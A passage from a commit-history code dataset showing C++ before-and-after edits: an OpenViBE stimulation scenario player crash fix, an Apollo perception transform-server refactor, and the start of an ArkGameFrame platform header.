l_ui64CurrentTime);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tm_pStimulationOutputWriterHelper->writeBuffer(*m_pWriter);\n\n\t\t\t\t\/* TODO check Stimulation date *\/\n\t\t\t\tl_pDynamicBoxContext->markOutputAsReadyToSend(0, m_ui64PreviousActivationTime, l_ui64CurrentTime);\n\n\t\t\t\tm_pAutomatonContext->clearSentEvents();\n\n\t\t\t\t\/\/TODO clear all events?? or just used ones?\n\t\t\t\tm_pAutomatonContext->clearReceivedEvents();\n\t\t\t}\n\n\t\t\tm_ui64PreviousActivationTime = l_ui64CurrentTime;\n\n\t\t\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::process()\n\t\t{\n\t\t\t\/\/ l_pDynamicBoxContext->markOutputAsReadyToSend(0, 0, 0);\n\t\t\treturn true;\n\t\t}\n\n\t};\n\n};\n\n\n<commit_msg>openvibe-plugins-stimulation : * XML stimulation scenario player: corrected bug causing crash when the scenario file could not be opened<commit_after>#include \"ovpCXMLStimulationScenarioPlayer.h\"\n\n#include <fstream>\n#include <iostream>\n\nusing namespace OpenViBE;\nusing namespace OpenViBE::Plugins;\nusing namespace OpenViBE::Kernel;\nusing namespace OpenViBEPlugins;\nusing namespace OpenViBEPlugins::Stimulation;\n\nusing namespace OpenViBEToolkit;\n\nusing namespace std;\n\nnamespace OpenViBEPlugins\n{\n\tnamespace Stimulation\n\t{\n\t\tvoid CXMLStimulationScenarioPlayer::writeStimulationOutput(const void* pBuffer, const EBML::uint64 ui64BufferSize)\n\t\t{\n\t\t\tappendOutputChunkData<0>(pBuffer, ui64BufferSize);\n\t\t}\n\n\t\tvoid CXMLStimulationScenarioPlayer::setStimulationCount(const uint32 ui32StimulationCount)\n\t\t{\n\t\t\t\/* TODO nothing? *\/\n\t\t}\n\n\t\tvoid CXMLStimulationScenarioPlayer::setStimulation(const uint32 ui32StimulationIndex, const uint64 ui64StimulationIdentifier, const uint64 ui64StimulationDate)\n\t\t{\n\t\t\tm_oStimulationReceived.push_back(pair<uint64, uint64>(ui64StimulationIdentifier, ui64StimulationDate));\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::readAutomaton(const CString& oFilename)\n\t\t{\n\t\t\tifstream l_oFile(oFilename.toASCIIString());\n\t\t\tif(!l_oFile.good())\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tsize_t l_iFileSize = 0;\n\t\t\tl_oFile.seekg(0, ios::end);\n\t\t\tl_iFileSize = l_oFile.tellg();\n\t\t\tl_oFile.seekg(0, ios::beg);\n\n\t\t\tchar * l_pXmlBuffer = new char[l_iFileSize];\n\t\t\tl_oFile.read(l_pXmlBuffer, l_iFileSize);\n\n\t\t\tm_pXMLAutomatonReader->processData(l_pXmlBuffer, l_iFileSize);\n\n\t\t\tl_oFile.close();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tCXMLStimulationScenarioPlayer::CXMLStimulationScenarioPlayer(void) :\n\t\t\tm_pReader(NULL),\n\t\t\tm_pStimulationReaderCallBack(NULL),\n\t\t\tm_pWriter(NULL),\n\t\t\tm_pOutputWriterCallbackProxy(NULL),\n\t\t\tm_pStimulationOutputWriterHelper(NULL),\n\t\t\tm_pXMLAutomatonReader(NULL),\n\t\t\tm_pAutomatonController(NULL),\n\t\t\tm_pAutomatonContext(NULL),\n\t\t\tm_bEndOfAutomaton(false),\n\t\t\tm_ui64PreviousActivationTime(0)\n\t\t{\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::initialize()\n\t\t{\n\t\t\tm_bEndOfAutomaton = false;\n\n\t\t\tm_pStimulationReaderCallBack=createBoxAlgorithmStimulationInputReaderCallback(*this);\n\t\t\tm_pReader = EBML::createReader(*m_pStimulationReaderCallBack);\n\n\t\t\tm_pOutputWriterCallbackProxy = new EBML::TWriterCallbackProxy1<OpenViBEPlugins::Stimulation::CXMLStimulationScenarioPlayer>(*this, &CXMLStimulationScenarioPlayer::writeStimulationOutput);\n\n\t\t\tm_pWriter=EBML::createWriter(*m_pOutputWriterCallbackProxy);\n\n\t\t\tm_pStimulationOutputWriterHelper=createBoxAlgorithmStimulationOutputWriter();\n\n\t\t\tconst IBox* l_pBoxContext=getBoxAlgorithmContext()->getStaticBoxContext();\n\t\t\tCString l_sFileName;\n\n\t\t\tm_pXMLAutomatonReader = Automaton::createXMLAutomatonReader();\n\n\t\t\t\/\/ Parses box settings to find input file's name\n\t\t\tl_pBoxContext->getSettingValue(0, l_sFileName);\n\n\t\t\tm_pAutomatonController=NULL;\n\t\t\tm_pAutomatonContext=NULL;\n\n\t\t\tif(!readAutomaton(l_sFileName))\n\t\t\t{\n\t\t\t\tgetBoxAlgorithmContext()->getPlayerContext()->getLogManager() << LogLevel_Warning << \"Could not read automaton file\\n\";\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tm_pAutomatonController = m_pXMLAutomatonReader->getAutomatonController();\n\n\t\t\tm_pAutomatonContext = m_pAutomatonController->getAutomatonContext();\n\n\t\t\t\/\/we don't need the XML reader anymore\n\t\t\treleaseXMLAutomatonReader(m_pXMLAutomatonReader);\n\n\t\t\tm_pStimulationOutputWriterHelper->writeHeader(*m_pWriter);\n\t\t\tgetBoxAlgorithmContext()->getDynamicBoxContext()->markOutputAsReadyToSend(0, 0, 0);\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::uninitialize()\n\t\t{\n\t\t\tif(m_pStimulationReaderCallBack)\n\t\t\t{\n\t\t\t\treleaseBoxAlgorithmStimulationInputReaderCallback(m_pStimulationReaderCallBack);\n\t\t\t\tm_pStimulationReaderCallBack=NULL;\n\t\t\t}\n\n\t\t\tdelete m_pOutputWriterCallbackProxy;\n\t\t\tm_pOutputWriterCallbackProxy=NULL;\n\n\t\t\tif(m_pWriter)\n\t\t\t{\n\t\t\t\tm_pWriter->release();\n\t\t\t\tm_pWriter = NULL;\n\t\t\t}\n\n\t\t\tif(m_pStimulationOutputWriterHelper)\n\t\t\t{\n\t\t\t\treleaseBoxAlgorithmStimulationOutputWriter(m_pStimulationOutputWriterHelper);\n\t\t\t\tm_pStimulationOutputWriterHelper=NULL;\n\t\t\t}\n\n\t\t\tif(m_pAutomatonController)\n\t\t\t{\n\t\t\t\treleaseAutomatonController(m_pAutomatonController);\n\t\t\t\tm_pAutomatonController=NULL;\n\t\t\t}\n\n\t\t\tif(m_pAutomatonContext)\n\t\t\t{\n\t\t\t\treleaseAutomatonContext(m_pAutomatonContext);\n\t\t\t\tm_pAutomatonContext=NULL;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::processInput(uint32 ui32InputIndex)\n\t\t{\n\t\t\tIDynamicBoxContext* l_pDynamicBoxContext=getBoxAlgorithmContext()->getDynamicBoxContext();\n\n\t\t\tfor(uint32 i=0; i<l_pDynamicBoxContext->getInputChunkCount(ui32InputIndex); i++)\n\t\t\t{\n\t\t\t\tuint64 l_ui64StartTime;\n\t\t\t\tuint64 l_ui64EndTime;\n\t\t\t\tuint64 l_ui64ChunkSize;\n\t\t\t\tconst uint8* l_pChunkBuffer=NULL;\n\n\t\t\t\tif(l_pDynamicBoxContext->getInputChunk(ui32InputIndex, i, l_ui64StartTime, l_ui64EndTime, l_ui64ChunkSize, l_pChunkBuffer))\n\t\t\t\t{\n\t\t\t\t\tm_pReader->processData(l_pChunkBuffer, l_ui64ChunkSize);\n\t\t\t\t}\n\t\t\t\tl_pDynamicBoxContext->markInputAsDeprecated(ui32InputIndex, i);\n\t\t\t}\n\n\t\t\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::processClock(CMessageClock &rMessageClock)\n\t\t{\n\t\t\tuint64 l_ui64CurrentTime = rMessageClock.getTime();\n\n\t\t\tIDynamicBoxContext * l_pDynamicBoxContext = getBoxAlgorithmContext()->getDynamicBoxContext();\n\n\t\t\tif(!m_bEndOfAutomaton)\n\t\t\t{\n\t\t\t\t\/\/actualize context\n\t\t\t\tm_pAutomatonContext->setCurrentTime(rMessageClock.getTime());\n\n\t\t\t\tfor(size_t i=0 ; i<m_oStimulationReceived.size() ; i++)\n\t\t\t\t{\n\t\t\t\t\tAutomaton::CIdentifier l_oStimulationIdentifier = m_oStimulationReceived[i].first;\n\t\t\t\t\tm_pAutomatonContext->addReceivedEvent(l_oStimulationIdentifier);\n\t\t\t\t}\n\n\t\t\t\t\/\/process\n\t\t\t\tm_bEndOfAutomaton = m_pAutomatonController->process();\n\n\t\t\t\tconst Automaton::CIdentifier * l_pSentEvents = m_pAutomatonContext->getSentEvents();\n\n\t\t\t\t\/\/set the number of stimulation to send\n\t\t\t\tm_pStimulationOutputWriterHelper->setStimulationCount(m_pAutomatonContext->getSentEventsCount());\n\n\t\t\t\t\/\/if there were stimulations\n\t\t\t\tif(l_pSentEvents)\n\t\t\t\t{\n\t\t\t\t\t\/\/adds em\n\t\t\t\t\tfor(uint32 i = 0 ; i<m_pAutomatonContext->getSentEventsCount() ; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/* TODO check Stimulation date *\/\n\t\t\t\t\t\tm_pStimulationOutputWriterHelper->setStimulation(i, l_pSentEvents[i], l_ui64CurrentTime);\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\tm_pStimulationOutputWriterHelper->writeBuffer(*m_pWriter);\n\n\t\t\t\t\/* TODO check Stimulation date *\/\n\t\t\t\tl_pDynamicBoxContext->markOutputAsReadyToSend(0, m_ui64PreviousActivationTime, l_ui64CurrentTime);\n\n\t\t\t\tm_pAutomatonContext->clearSentEvents();\n\n\t\t\t\t\/\/TODO clear all events?? or just used ones?\n\t\t\t\tm_pAutomatonContext->clearReceivedEvents();\n\t\t\t}\n\n\t\t\tm_ui64PreviousActivationTime = l_ui64CurrentTime;\n\n\t\t\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::process()\n\t\t{\n\t\t\t\/\/ l_pDynamicBoxContext->markOutputAsReadyToSend(0, 0, 0);\n\t\t\treturn true;\n\t\t}\n\n\t};\n\n};\n\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n* Copyright 2018 The Apollo Authors. All Rights Reserved.\n*\n* Licensed under the Apache License, Version 2.0 (the License);\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an AS IS BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*****************************************************************************\/\n#include <yaml-cpp\/yaml.h>\n\n#include \"cyber\/common\/log.h\"\n#include \"modules\/perception\/camera\/common\/util.h\"\n#include \"modules\/perception\/camera\/tools\/offline\/transform_server.h\"\n\nnamespace apollo {\nnamespace perception {\nnamespace camera {\n\nbool TransformServer::Init(const std::vector<std::string> &camera_names,\n const std::string ¶ms_path) {\n std::string params_dir = params_path;\n \/\/ 1. init lidar height\n try {\n YAML::Node lidar_height =\n YAML::LoadFile(params_dir + \"\/\" + \"velodyne64_height.yaml\");\n Eigen::Affine3d trans;\n trans.linear() = Eigen::Matrix3d::Identity();\n AINFO << trans.translation() << \" \"\n << lidar_height[\"vehicle\"][\"parameters\"][\"height\"];\n trans.translation() << 0.0, 0.0,\n lidar_height[\"vehicle\"][\"parameters\"][\"height\"].as<double>();\n AddTransform(\"velodyne64\", \"ground\", trans);\n } catch (YAML::InvalidNode &in) {\n AERROR << \"load velodyne64 extrisic file error\"\n << \" YAML::InvalidNode exception\";\n return false;\n } catch (YAML::TypedBadConversion<float> &bc) {\n AERROR << \"load velodyne64 extrisic file error, \"\n << \"YAML::TypedBadConversion exception\";\n return false;\n } catch (YAML::Exception &e) {\n AERROR << \"load velodyne64 extrisic file \"\n << \" error, YAML exception:\" << e.what();\n return false;\n }\n \/\/ 2. init lidar and camera extrinsic\n std::vector<std::string> extrinsic_filelist;\n extrinsic_filelist.push_back(\n params_dir + \"\/velodyne64_novatel_extrinsics.yaml\");\n for (const auto &camera_name : camera_names) {\n extrinsic_filelist.push_back(\n params_dir + \"\/\" + camera_name + \"_extrinsics.yaml\");\n }\n\n for (const auto &yaml_file : extrinsic_filelist) {\n try {\n YAML::Node node = YAML::LoadFile(yaml_file);\n if (node.IsNull()) {\n AINFO << \"Load \" << yaml_file << \" failed! please check!\";\n return false;\n }\n std::string child_frame_id = node[\"child_frame_id\"].as<std::string>();\n std::string frame_id = node[\"header\"][\"frame_id\"].as<std::string>();\n double q[4] = {node[\"transform\"][\"rotation\"][\"w\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"x\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"y\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"z\"].as<double>()};\n double t[3] = {node[\"transform\"][\"translation\"][\"x\"].as<double>(),\n node[\"transform\"][\"translation\"][\"y\"].as<double>(),\n node[\"transform\"][\"translation\"][\"z\"].as<double>()};\n Eigen::Quaterniond qq(q[0], q[1], q[2], q[3]);\n Eigen::Affine3d trans;\n trans.linear() = qq.matrix();\n trans.translation() << t[0], t[1], t[2];\n bool added = AddTransform(child_frame_id, frame_id, trans);\n if (!added) {\n AINFO << \"failed to add transform from \"\n << child_frame_id << \" to \" << frame_id << std::endl;\n }\n } catch (YAML::InvalidNode &in) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML::InvalidNode exception\";\n return false;\n } catch (YAML::TypedBadConversion<double> &bc) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML::TypedBadConversion exception\";\n return false;\n } catch (YAML::Exception &e) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML exception:\" << e.what();\n return false;\n }\n }\n return true;\n}\n\nbool TransformServer::LoadFromFile(const std::string &tf_input,\n float frequency) {\n if (frequency <= 0) {\n AERROR << \"Error frequency value:\" << frequency;\n return false;\n }\n std::ifstream fin(tf_input);\n Transform tf;\n int64_t ts;\n while (fin >> ts) {\n tf.timestamp = static_cast<double>(ts) * 1e-9;\n fin >> tf.tx;\n fin >> tf.ty;\n fin >> tf.tz;\n fin >> tf.qx;\n fin >> tf.qy;\n fin >> tf.qz;\n fin >> tf.qw;\n tf_.push_back(tf);\n }\n fin.close();\n error_limit_ = 1 \/ frequency \/ 2.0f;\n AINFO << \"Load tf successfully. count: \" << tf_.size()\n << \" error limit:\" << error_limit_;\n return true;\n}\n\nbool TransformServer::QueryPos(double timestamp, Eigen::Affine3d *pose) {\n for (auto &&tf : tf_) {\n if (Equal(timestamp, tf.timestamp, error_limit_)) {\n Eigen::Quaterniond rotation(tf.qw, tf.qx, tf.qy, tf.qz);\n pose->linear() = rotation.matrix();\n pose->translation() << tf.tx, tf.ty, tf.tz;\n AINFO << \"Get Pose:\\n\" << pose->matrix();\n return true;\n }\n }\n return false;\n}\n\nbool TransformServer::AddTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n const Eigen::Affine3d &transform) {\n vertices_.insert(child_frame_id);\n vertices_.insert(frame_id);\n\n auto begin = edges_.lower_bound(child_frame_id);\n auto end = edges_.upper_bound(child_frame_id);\n\n for (auto iter = begin; iter != end; ++iter) {\n if (iter->second.frame_id == frame_id) {\n return false;\n }\n }\n\n Edge e;\n e.child_frame_id = child_frame_id;\n e.frame_id = frame_id;\n e.transform = transform;\n\n Edge e_inv;\n e_inv.child_frame_id = frame_id;\n e_inv.frame_id = child_frame_id;\n e_inv.transform = transform.inverse();\n ADEBUG\n << \"Add transform between \" << frame_id << \" and \" << child_frame_id;\n edges_.insert({child_frame_id, e});\n edges_.insert({frame_id, e_inv});\n\n return true;\n}\n\nbool TransformServer::QueryTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n Eigen::Affine3d *transform) {\n *transform = Eigen::Affine3d::Identity();\n\n if (child_frame_id == frame_id) {\n return true;\n }\n\n auto cf_iter = vertices_.find(child_frame_id);\n auto f_iter = vertices_.find(frame_id);\n\n \/\/ vertices do not exist\n if (cf_iter == vertices_.end() || f_iter == vertices_.end()) {\n return false;\n }\n\n std::map<std::string, bool> visited;\n for (const auto &item : vertices_) {\n visited[item] = false;\n }\n\n bool bfound = FindTransform(child_frame_id, frame_id, transform, &visited);\n return bfound;\n}\n\nbool TransformServer::FindTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n Eigen::Affine3d *transform,\n std::map<std::string, bool> *visited) {\n Eigen::Affine3d loc_transform = Eigen::Affine3d::Identity();\n\n auto begin = edges_.lower_bound(child_frame_id);\n auto end = edges_.upper_bound(child_frame_id);\n\n (*visited)[child_frame_id] = true;\n for (auto iter = begin; iter != end; ++iter) {\n auto &edge = iter->second;\n if ((*visited)[edge.frame_id]) {\n continue;\n }\n\n ADEBUG\n << \"from \" << edge.child_frame_id << \" to \" << edge.frame_id << std::endl;\n\n loc_transform = edge.transform * loc_transform;\n\n if (edge.frame_id == frame_id) {\n *transform = loc_transform;\n return true;\n }\n\n Eigen::Affine3d tr = Eigen::Affine3d::Identity();\n bool bfound = FindTransform(edge.frame_id, frame_id, &tr, visited);\n if (bfound) {\n loc_transform = tr * loc_transform;\n *transform = loc_transform;\n return true;\n }\n\n loc_transform = edge.transform.inverse() * loc_transform;\n }\n return false;\n}\n\nvoid TransformServer::print() {\n for (auto item : edges_) {\n AINFO << \"----------------\" << std::endl;\n AINFO << item.first << std::endl;\n AINFO << \"edge: \" << std::endl;\n AINFO << \"from \" << item.second.child_frame_id << \" to \"\n << item.second.frame_id << std::endl;\n Eigen::Affine3d trans = item.second.transform;\n Eigen::Quaterniond quat(trans.linear());\n AINFO << \"rot: \" << quat.x() << \" \" << quat.y() << \" \" << quat.z() << \" \"\n << quat.w() << std::endl;\n AINFO << \"trans: \"\n << trans.translation()[0] << \" \"\n << trans.translation()[1] << \" \"\n << trans.translation()[2] << std::endl;\n }\n}\n\n} \/\/ namespace camera\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<commit_msg>Perception: nitpick, remove unnecessay bFound variable (#6768)<commit_after>\/******************************************************************************\n* Copyright 2018 The Apollo Authors. All Rights Reserved.\n*\n* Licensed under the Apache License, Version 2.0 (the License);\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an AS IS BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*****************************************************************************\/\n#include <yaml-cpp\/yaml.h>\n\n#include \"cyber\/common\/log.h\"\n#include \"modules\/perception\/camera\/common\/util.h\"\n#include \"modules\/perception\/camera\/tools\/offline\/transform_server.h\"\n\nnamespace apollo {\nnamespace perception {\nnamespace camera {\n\nbool TransformServer::Init(const std::vector<std::string> &camera_names,\n const std::string ¶ms_path) {\n std::string params_dir = params_path;\n \/\/ 1. init lidar height\n try {\n YAML::Node lidar_height =\n YAML::LoadFile(params_dir + \"\/\" + \"velodyne64_height.yaml\");\n Eigen::Affine3d trans;\n trans.linear() = Eigen::Matrix3d::Identity();\n AINFO << trans.translation() << \" \"\n << lidar_height[\"vehicle\"][\"parameters\"][\"height\"];\n trans.translation() << 0.0, 0.0,\n lidar_height[\"vehicle\"][\"parameters\"][\"height\"].as<double>();\n AddTransform(\"velodyne64\", \"ground\", trans);\n } catch (YAML::InvalidNode &in) {\n AERROR << \"load velodyne64 extrisic file error\"\n << \" YAML::InvalidNode exception\";\n return false;\n } catch (YAML::TypedBadConversion<float> &bc) {\n AERROR << \"load velodyne64 extrisic file error, \"\n << \"YAML::TypedBadConversion exception\";\n return false;\n } catch (YAML::Exception &e) {\n AERROR << \"load velodyne64 extrisic file \"\n << \" error, YAML exception:\" << e.what();\n return false;\n }\n \/\/ 2. init lidar and camera extrinsic\n std::vector<std::string> extrinsic_filelist;\n extrinsic_filelist.push_back(\n params_dir + \"\/velodyne64_novatel_extrinsics.yaml\");\n for (const auto &camera_name : camera_names) {\n extrinsic_filelist.push_back(\n params_dir + \"\/\" + camera_name + \"_extrinsics.yaml\");\n }\n\n for (const auto &yaml_file : extrinsic_filelist) {\n try {\n YAML::Node node = YAML::LoadFile(yaml_file);\n if (node.IsNull()) {\n AINFO << \"Load \" << yaml_file << \" failed! please check!\";\n return false;\n }\n std::string child_frame_id = node[\"child_frame_id\"].as<std::string>();\n std::string frame_id = node[\"header\"][\"frame_id\"].as<std::string>();\n double q[4] = {node[\"transform\"][\"rotation\"][\"w\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"x\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"y\"].as<double>(),\n node[\"transform\"][\"rotation\"][\"z\"].as<double>()};\n double t[3] = {node[\"transform\"][\"translation\"][\"x\"].as<double>(),\n node[\"transform\"][\"translation\"][\"y\"].as<double>(),\n node[\"transform\"][\"translation\"][\"z\"].as<double>()};\n Eigen::Quaterniond qq(q[0], q[1], q[2], q[3]);\n Eigen::Affine3d trans;\n trans.linear() = qq.matrix();\n trans.translation() << t[0], t[1], t[2];\n bool added = AddTransform(child_frame_id, frame_id, trans);\n if (!added) {\n AINFO << \"failed to add transform from \"\n << child_frame_id << \" to \" << frame_id << std::endl;\n }\n } catch (YAML::InvalidNode &in) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML::InvalidNode exception\";\n return false;\n } catch (YAML::TypedBadConversion<double> &bc) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML::TypedBadConversion exception\";\n return false;\n } catch (YAML::Exception &e) {\n AERROR << \"load camera extrisic file \" << yaml_file\n << \" with error, YAML exception:\" << e.what();\n return false;\n }\n }\n return true;\n}\n\nbool TransformServer::LoadFromFile(const std::string &tf_input,\n float frequency) {\n if (frequency <= 0) {\n AERROR << \"Error frequency value:\" << frequency;\n return false;\n }\n std::ifstream fin(tf_input);\n Transform tf;\n int64_t ts;\n while (fin >> ts) {\n tf.timestamp = static_cast<double>(ts) * 1e-9;\n fin >> tf.tx;\n fin >> tf.ty;\n fin >> tf.tz;\n fin >> tf.qx;\n fin >> tf.qy;\n fin >> tf.qz;\n fin >> tf.qw;\n tf_.push_back(tf);\n }\n fin.close();\n error_limit_ = 1 \/ frequency \/ 2.0f;\n AINFO << \"Load tf successfully. count: \" << tf_.size()\n << \" error limit:\" << error_limit_;\n return true;\n}\n\nbool TransformServer::QueryPos(double timestamp, Eigen::Affine3d *pose) {\n for (auto &&tf : tf_) {\n if (Equal(timestamp, tf.timestamp, error_limit_)) {\n Eigen::Quaterniond rotation(tf.qw, tf.qx, tf.qy, tf.qz);\n pose->linear() = rotation.matrix();\n pose->translation() << tf.tx, tf.ty, tf.tz;\n AINFO << \"Get Pose:\\n\" << pose->matrix();\n return true;\n }\n }\n return false;\n}\n\nbool TransformServer::AddTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n const Eigen::Affine3d &transform) {\n vertices_.insert(child_frame_id);\n vertices_.insert(frame_id);\n\n auto begin = edges_.lower_bound(child_frame_id);\n auto end = edges_.upper_bound(child_frame_id);\n\n for (auto iter = begin; iter != end; ++iter) {\n if (iter->second.frame_id == frame_id) {\n return false;\n }\n }\n\n Edge e;\n e.child_frame_id = child_frame_id;\n e.frame_id = frame_id;\n e.transform = transform;\n\n Edge e_inv;\n e_inv.child_frame_id = frame_id;\n e_inv.frame_id = child_frame_id;\n e_inv.transform = transform.inverse();\n ADEBUG\n << \"Add transform between \" << frame_id << \" and \" << child_frame_id;\n edges_.insert({child_frame_id, e});\n edges_.insert({frame_id, e_inv});\n\n return true;\n}\n\nbool TransformServer::QueryTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n Eigen::Affine3d *transform) {\n *transform = Eigen::Affine3d::Identity();\n\n if (child_frame_id == frame_id) {\n return true;\n }\n\n auto cf_iter = vertices_.find(child_frame_id);\n auto f_iter = vertices_.find(frame_id);\n\n \/\/ vertices do not exist\n if (cf_iter == vertices_.end() || f_iter == vertices_.end()) {\n return false;\n }\n\n std::map<std::string, bool> visited;\n for (const auto &item : vertices_) {\n visited[item] = false;\n }\n\n return FindTransform(child_frame_id, frame_id, transform, &visited);\n}\n\nbool TransformServer::FindTransform(const std::string &child_frame_id,\n const std::string &frame_id,\n Eigen::Affine3d *transform,\n std::map<std::string, bool> *visited) {\n Eigen::Affine3d loc_transform = Eigen::Affine3d::Identity();\n\n auto begin = edges_.lower_bound(child_frame_id);\n auto end = edges_.upper_bound(child_frame_id);\n\n (*visited)[child_frame_id] = true;\n for (auto iter = begin; iter != end; ++iter) {\n auto &edge = iter->second;\n if ((*visited)[edge.frame_id]) {\n continue;\n }\n\n ADEBUG\n << \"from \" << edge.child_frame_id << \" to \" << edge.frame_id << std::endl;\n\n loc_transform = edge.transform * loc_transform;\n\n if (edge.frame_id == frame_id) {\n *transform = loc_transform;\n return true;\n }\n\n Eigen::Affine3d tr = Eigen::Affine3d::Identity();\n bool bfound = FindTransform(edge.frame_id, frame_id, &tr, visited);\n if (bfound) {\n loc_transform = tr * loc_transform;\n *transform = loc_transform;\n return true;\n }\n\n loc_transform = edge.transform.inverse() * loc_transform;\n }\n return false;\n}\n\nvoid TransformServer::print() {\n for (auto item : edges_) {\n AINFO << \"----------------\" << std::endl;\n AINFO << item.first << std::endl;\n AINFO << \"edge: \" << std::endl;\n AINFO << \"from \" << item.second.child_frame_id << \" to \"\n << item.second.frame_id << std::endl;\n Eigen::Affine3d trans = item.second.transform;\n Eigen::Quaterniond quat(trans.linear());\n AINFO << \"rot: \" << quat.x() << \" \" << quat.y() << \" \" << quat.z() << \" \"\n << quat.w() << std::endl;\n AINFO << \"trans: \"\n << trans.translation()[0] << \" \"\n << trans.translation()[1] << \" \"\n << trans.translation()[2] << std::endl;\n }\n}\n\n} \/\/ namespace camera\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n\/\/ * This source file is part of ArkGameFrame *\n\/\/ * For the latest info, see https:\/\/github.com\/ArkGame *\n\/\/ * *\n\/\/ * Copyright(c) 2013 - 2017 ArkGame authors. *\n\/\/ * *\n\/\/ * Licensed under the Apache License, Version 2.0 (the \"License\"); *\n\/\/ * you may not use this file except in compliance with the License. *\n\/\/ * You may obtain a copy of the License at *\n\/\/ * *\n\/\/ * http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\n\/\/ * *\n\/\/ * Unless required by applicable law or agreed to in writing, software *\n\/\/ * distributed under the License is distributed on an \"AS IS\" BASIS, *\n\/\/ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.*\n\/\/ * See the License for the specific language governing permissions and *\n\/\/ * limitations under the License. *\n\/\/ * *\n\/\/ * *\n\/\/ * @file AFPlatform.h *\n\/\/ * @author Ark Game Tech *\n\/\/ * @date 2015-12-15 *\n\/\/ * @brief AFPlatform *\n*****************************************************************************\/\n#pragma once\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <math.h>\n#include <assert.h>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <cstring>\n#include <vector>\n#include <map>\n#include <list>\n#include <set>\n#include <deque>\n#include <limits>\n#include <algorithm>\n#include <utility>\n#include <functional>\n#include <cctype>\n#include <iterator>\n#include <unordered_map>\n#include <stdint.h>\n#include <functional>\n#include <memory>\n#include <signal.h>\n#include <chrono>\n#include <sstream>\n#include <random>\n#include <thread>\n\n#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(__WIN64__) || defined(WIN64) || defined(_WIN64)\n\/\/ only windows include\n#include <io.h>\n#include <time.h>\n#ifndef WIN32_LEAN_AND_MEAN\n#include <WinSock2.h>\n#include <MSWSock.h>\n#define WIN32_LEAN_AND_MEAN\n#endif \/\/ WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#define _SCL_SECURE_NO_WARNINGS\n\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGUSR1 10\n#define SIGPIPE 13\n#define SIGCHLD 17\n#define SIGSYS 32\n\n#else\n\/\/ only other unix\/linux include\n#include <sys\/socket.h>\n#endif\n\n#define ARK_LITTLE_ENDIAN\n#define ARK_BIG_ENDIAN\n\n#if !defined(ARK_ENDIAN)\n# if defined(USE_BIG_ENDIAN)\n# define ARK_ENDIAN ARK_BIG_ENDIAN\n# else\n# define ARK_ENDIAN ARK_LITTLE_ENDIAN\n# endif\n#endif \/\/ !defined(ARK_ENDIAN)\n\n#define PLATFORM_WIN 0\n#define PLATFORM_UNIX 1\n#define PLATFORM_APPLE 2\n\n#define UNIX_FLAVOUR_LINUX 1\n#define UNIX_FLAVOUR_BSD 2\n#define UNIX_FLAVOUR_OTHER 3\n#define UNIX_FLAVOUR_OSX 4\n\n#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(__WIN64__) || defined(WIN64) || defined(_WIN64)\n# define ARK_PLATFORM PLATFORM_WIN\n#elif defined(__APPLE_CC__)\n# define ARK_PLATFORM PLATFORM_APPLE\n#else\n# define ARK_PLATFORM PLATFORM_UNIX\n#endif\n\n#define COMPILER_MICROSOFT 0\n#define COMPILER_GNU 1\n#define COMPILER_BORLAND 